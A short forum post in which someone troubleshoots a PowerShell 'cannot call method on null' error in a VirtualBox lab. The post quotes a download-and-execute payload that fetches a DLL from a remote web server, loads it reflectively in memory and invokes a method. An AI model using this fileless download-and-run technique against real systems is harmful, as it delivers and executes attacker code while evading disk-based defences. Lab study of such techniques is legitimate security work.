mercredi 25 août 2021

Powershell error script cannot call method value of null

I'm playing around with this payload on my lab

I'm stucked with it because i can't execute

correctly this payload to download a dll

It's stored on other vm running apache webserver

http://192.168.5.100/downloads ( for example )

I am using Windows 10 & Parrot OS.

Both are configured with the bridge mode in VirtualBox.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

The error shows :

cannot call method value of null

Invalid operation

runtime exception

invoke Method Null

$method = $class.GetMethod("runner")

$method.Invoke(0, $null)

What can i do?

Thanks





Aucun commentaire:

Enregistrer un commentaire